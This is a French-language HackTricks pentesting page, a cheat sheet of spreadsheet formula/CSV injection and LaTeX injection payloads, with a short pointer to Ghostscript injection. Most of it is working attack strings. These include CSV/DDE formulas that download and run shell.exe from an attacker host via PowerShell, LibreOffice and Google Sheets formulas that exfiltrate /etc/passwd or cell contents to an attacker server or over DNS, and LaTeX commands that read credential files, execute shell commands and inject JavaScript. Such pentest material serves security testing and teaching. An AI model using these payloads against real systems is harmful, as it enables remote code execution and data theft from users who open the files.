hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

205 lines
12 KiB
Markdown
Raw Normal View History

# Injection de formules/CSV/Doc/LaTeX/GhostScript
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Injection de formules
### Info
Si votre **entrée** est **réfléchie** à l'intérieur de **fichiers CSV** (ou tout autre fichier qui sera probablement ouvert par **Excel**), vous pourriez être en mesure d'insérer des **formules Excel** qui seront **exécutées** lorsque l'utilisateur **ouvre le fichier** ou lorsque l'utilisateur **clique sur un lien** à l'intérieur de la feuille Excel.
{% hint style="danger" %}
De nos jours, **Excel alertera** (à plusieurs reprises) l'utilisateur lorsque quelque chose est chargé depuis l'extérieur d'Excel afin de l'empêcher d'effectuer des actions malveillantes. Par conséquent, un effort particulier en ingénierie sociale doit être appliqué au payload final.
{% endhint %}
### [Liste de mots](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### Hyperlien
**L'exemple suivant est très utile pour exfiltrer du contenu de la feuille Excel finale et effectuer des requêtes vers des emplacements arbitraires. Mais cela nécessite que l'utilisateur clique sur le lien (et accepte les avertissements).**
L'exemple suivant a été pris sur [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Imaginez une violation de sécurité dans un système de gestion des dossiers étudiants exploitée à travers une attaque par injection CSV. L'intention principale de l'attaquant est de compromettre le système utilisé par les enseignants pour gérer les détails des étudiants. La méthode implique que l'attaquant injecte une charge malveillante dans l'application, en entrant spécifiquement des formules nocives dans les champs destinés aux détails des étudiants. L'attaque se déroule comme suit :
1. **Injection de la Charge Malveillante :**
* L'attaquant soumet un formulaire de détails d'étudiant mais inclut une formule couramment utilisée dans les feuilles de calcul (par exemple, `=HYPERLINK("<malicious_link>","Cliquez ici")`).
* Cette formule est conçue pour créer un hyperlien, mais elle pointe vers un serveur malveillant contrôlé par l'attaquant.
2. **Exportation des Données Compromises :**
* Les enseignants, inconscients de la compromission, utilisent la fonctionnalité de l'application pour exporter les données dans un fichier CSV.
* Le fichier CSV, lorsqu'il est ouvert, contient toujours la charge malveillante. Cette charge apparaît comme un hyperlien cliquable dans la feuille de calcul.
3. **Déclenchement de l'Attaque :**
* Un enseignant clique sur le lien hypertexte, croyant qu'il fait partie légitime des détails de l'étudiant.
* En cliquant, des données sensibles (pouvant inclure des détails de la feuille de calcul ou de l'ordinateur de l'enseignant) sont transmises au serveur de l'attaquant.
4. **Enregistrement des Données :**
* Le serveur de l'attaquant reçoit et enregistre les données sensibles envoyées depuis l'ordinateur de l'enseignant.
* L'attaquant peut ensuite utiliser ces données à diverses fins malveillantes, compromettant davantage la confidentialité et la sécurité des étudiants et de l'institution.
### RCE
**Consultez le** [**message original**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **pour plus de détails.**
Dans des configurations spécifiques ou des versions plus anciennes d'Excel, une fonctionnalité appelée Échange de Données Dynamique (DDE) peut être exploitée pour exécuter des commandes arbitraires. Pour exploiter cela, les paramètres suivants doivent être activés :
* Accédez à Fichier → Options → Centre de confiance → Paramètres du Centre de confiance → Contenu externe, et activez **Lancement du Serveur d'Échange de Données Dynamique**.
Lorsqu'une feuille de calcul avec la charge malveillante est ouverte (et si l'utilisateur accepte les avertissements), la charge est exécutée. Par exemple, pour lancer l'application calculatrice, la charge serait :
```markdown
`=cmd|' /C calc'!xxx`
```
Des commandes supplémentaires peuvent également être exécutées, telles que le téléchargement et l'exécution d'un fichier en utilisant PowerShell :
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### Inclusion de fichier local (LFI) dans LibreOffice Calc
LibreOffice Calc peut être utilisé pour lire des fichiers locaux et exfiltrer des données. Voici quelques méthodes :
* Lire la première ligne du fichier local `/etc/passwd` : `='file:///etc/passwd'#$passwd.A1`
* Exfiltrer les données lues vers un serveur contrôlé par un attaquant : `=WEBSERVICE(CONCATENATE("http://<adresse IP de l'attaquant>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Exfiltrer plus d'une ligne : `=WEBSERVICE(CONCATENATE("http://<adresse IP de l'attaquant>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* Exfiltration DNS (envoi des données lues sous forme de requêtes DNS à un serveur DNS contrôlé par un attaquant) : `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<domaine de l'attaquant>"))`
### Google Sheets pour l'exfiltration de données hors bande (OOB)
Google Sheets propose des fonctions qui peuvent être exploitées pour l'exfiltration de données OOB :
* **CONCATENATE** : Concatène des chaînes de caractères - `=CONCATENATE(A2:E2)`
* **IMPORTXML** : Importe des données à partir de types de données structurées - `=IMPORTXML(CONCAT("http://<adresse IP de l'attaquant:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED** : Importe des flux RSS ou ATOM - `=IMPORTFEED(CONCAT("http://<adresse IP de l'attaquant:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML** : Importe des données à partir de tableaux HTML ou de listes - `=IMPORTHTML (CONCAT("http://<adresse IP de l'attaquant:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE** : Importe une plage de cellules d'une autre feuille de calcul - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[ID_de_la_feuille]", "feuille1!A2:E2")`
* **IMAGE** : Insère une image dans une cellule - `=IMAGE("https://<adresse IP de l'attaquant:Port>/images/srpr/logo3w.png")`
## Injection LaTeX
Généralement, les serveurs que l'on trouve sur Internet qui **convertissent du code LaTeX en PDF** utilisent **`pdflatex`**.\
Ce programme utilise 3 attributs principaux pour autoriser ou interdire l'exécution de commandes :
* **`--no-shell-escape`** : **Désactive** la construction `\write18{command}`, même si elle est activée dans le fichier texmf.cnf.
* **`--shell-restricted`** : Identique à `--shell-escape`, mais **limité** à un ensemble de \*\*commandes \*\*prédéfinies (\*\*Sur Ubuntu 16.04, la liste se trouve dans `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`** : **Active** la construction `\write18{command}`. La commande peut être n'importe quelle commande shell. Cette construction est normalement interdite pour des raisons de sécurité.
Cependant, il existe d'autres moyens d'exécuter des commandes, donc pour éviter une exécution de code à distance, il est très important d'utiliser `--shell-restricted`.
### Lire le fichier <a href="#read-file" id="read-file"></a>
Vous devrez peut-être ajuster l'injection avec des wrappers comme \[ ou $.
```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### Lire un fichier d'une seule ligne
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### Lire un fichier à plusieurs lignes
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
### Écrire le fichier <a href="#write-file" id="write-file"></a>
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### Exécution de commandes <a href="#command-execution" id="command-execution"></a>
L'entrée de la commande sera redirigée vers stdin, utilisez un fichier temporaire pour l'obtenir.
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
Si vous rencontrez une erreur LaTex, envisagez d'utiliser base64 pour obtenir le résultat sans caractères indésirables
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Injection Ghostscript
**Vérifier** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## Références
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>